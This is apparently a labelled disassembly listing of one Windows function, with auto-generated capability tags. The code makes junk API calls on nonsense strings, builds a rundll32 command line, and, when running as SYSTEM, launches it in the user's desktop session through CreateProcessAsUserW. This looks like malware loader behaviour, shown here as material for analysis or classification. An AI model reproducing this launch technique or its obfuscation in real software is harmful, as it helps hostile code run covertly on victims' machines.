Function at 0x1000a17b
Capabilities:
Create process on windows
Get common file path
Get disk information
Get disk size
Get file attributes
Get session user name

Disassembly:
mov eax, 0x10016506
call fcn.1000dde0
sub esp, 0x5fc
mov eax, dword [0x1001c4e0]
push ebx
push esi
xor ebx, ebx
push ebx
push ebx
push ebx
push ebx
push 0x10017cf0
push ebx
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x594], ecx
call dword [sym.imp.KERNEL32.dll_SearchPathA]
push str.plhc
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
push str.nSTsd
lea ecx, [ebp - 0x2c]
call fcn.10004bc0
lea eax, [ebp - 0x2c]
push eax
push eax
lea eax, [ebp - 0x5c4]
push eax
mov dword [ebp - 4], ebx
call fcn.10008725
add esp, 0xc
or esi, 0xffffffff
push esi
push ebx
push eax
lea ecx, [ebp - 0x2c]
mov byte [ebp - 4], 1
call fcn.10003f80
push ebx
push 1
lea ecx, [ebp - 0x5c4]
mov byte [ebp - 4], bl
call fcn.10002350
push esi
push ebx
lea eax, [ebp - 0x2c]
push eax
lea ecx, [ebp - 0x2c]
call fcn.100084d1
lea eax, [ebp - 0x2c]
push eax
push eax
lea eax, [ebp - 0x5c4]
push eax
call fcn.10008725
add esp, 0xc
push esi
push ebx
push eax
lea ecx, [ebp - 0x2c]
mov byte [ebp - 4], 2
call fcn.10003f80
push ebx
push 1
lea ecx, [ebp - 0x5c4]
mov byte [ebp - 4], bl
call fcn.10002350
push esi
push ebx
lea eax, [ebp - 0x2c]
push eax
lea ecx, [ebp - 0x2c]
call fcn.100084d1
mov esi, 0x104
push esi
lea eax, [ebp - 0x288]
push ebx
push eax
call fcn.1000dfa0
mov ecx, dword [ebp - 0x594]
add esp, 0xc
call fcn.10008173
push esi
test eax, eax
lea eax, [ebp - 0x288]
push eax
je 0x1000a284
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
jmp 0x1000a28a
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
push edi
lea eax, [ebp - 0x288]
push eax
lea ecx, [ebp - 0x80]
call fcn.10004bc0
push str._rundll32
lea ecx, [ebp - 0x80]
mov byte [ebp - 4], 3
call fcn.1000862c
mov edi, dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsA]
push ebx
push ebx
call edi
push ebx
push ebx
call edi
push ebx
push ebx
call edi
push ebx
push ebx
call edi
push ebx
push 0x100176a0
call dword [sym.imp.KERNEL32.dll_GetBinaryTypeA]
push ebx
push ebx
push ebx
push str.ymxs
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push ebx
push ebx
push ebx
push str.kdjfir
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExA]
mov edi, dword [ebp - 0x594]
push ebx
mov ecx, edi
call fcn.10008c3f
add edi, 0x1c
push edi
lea ecx, [ebp - 0x64]
call fcn.10004300
push esi
lea eax, [ebp - 0x38c]
push ebx
push eax
mov byte [ebp - 4], 4
call fcn.1000dfa0
mov eax, dword [ebp - 0x60]
add esp, 0xc
cmp dword [ebp - 0x4c], 0x10
jae 0x1000a324
lea eax, [ebp - 0x60]
push esi
lea ecx, [ebp - 0x38c]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
push 0x10017bf8
lea eax, [ebp - 0x80]
push eax
lea eax, [ebp - 0x48]
push eax
call fcn.10008777
add esp, 0xc
lea eax, [ebp - 0x38c]
push eax
lea ecx, [ebp - 0x48]
mov byte [ebp - 4], 5
call fcn.1000862c
push str._Always
lea ecx, [ebp - 0x48]
call fcn.1000862c
push 0x10
pop ecx
xor eax, eax
push 0x40
lea edi, [ebp - 0x604]
rep stosd dword es:[edi], eax
pop ecx
mov byte [ebp - 0x184], bl
lea edi, [ebp - 0x183]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x598]
push eax
lea eax, [ebp - 0x184]
push eax
mov dword [ebp - 0x608], 0x44
mov dword [ebp - 0x5dc], 1
mov word [ebp - 0x5d8], 0xa
mov dword [ebp - 0x600], str.WinSta0Default
mov dword [ebp - 0x598], esi
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
mov esi, eax
lea eax, [ebp - 0x184]
push eax
call fcn.1000de88
pop ecx
push 0x7f
xor eax, eax
cmp dword [ebp - 0x30], 0x10
mov byte [ebp - 0x58c], bl
pop ecx
lea edi, [ebp - 0x58b]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, dword [ebp - 0x44]
pop edi
jae 0x1000a3fc
lea eax, [ebp - 0x44]
push 0x100
lea ecx, [ebp - 0x58c]
push ecx
push 0xffffffffffffffff
push eax
push 8
push ebx
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
lea eax, [ebp - 0x184]
push str.SYSTEM
push eax
call fcn.10014eae
test eax, eax
pop ecx
pop ecx
je 0x1000a46d
cmp esi, ebx
je 0x1000a46d
lea eax, [ebp - 0x5a8]
push eax
lea eax, [ebp - 0x608]
push eax
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
lea eax, [ebp - 0x58c]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x1000a4b9
push dword [ebp - 0x5a4]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x5a8]
call esi
jmp 0x1000a4b9
lea eax, [ebp - 0x590]
push str.EXPLORER.EXE
push eax
call fcn.100080a3
test eax, eax
pop ecx
pop ecx
je 0x1000a4b9
lea eax, [ebp - 0x5a8]
push eax
lea eax, [ebp - 0x608]
push eax
push ebx
push ebx
push 0x20
push ebx
push ebx
push ebx
lea eax, [ebp - 0x58c]
push eax
push ebx
push dword [ebp - 0x590]
call dword [sym.imp.ADVAPI32.dll_CreateProcessAsUserW]
push dword [ebp - 0x590]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor esi, esi
push ebx
inc esi
lea ecx, [ebp - 0x48]
push esi
call fcn.10002350
push ebx
lea ecx, [ebp - 0x64]
push esi
call fcn.10002350
push ebx
lea ecx, [ebp - 0x80]
push esi
call fcn.10002350
push ebx
lea ecx, [ebp - 0x2c]
push esi
call fcn.10002350
mov ecx, dword [ebp - 0xc]
pop esi
mov dword fs:[0], ecx
mov ecx, dword [ebp - 0x10]
pop ebx
call fcn.1000c9ce
leave
ret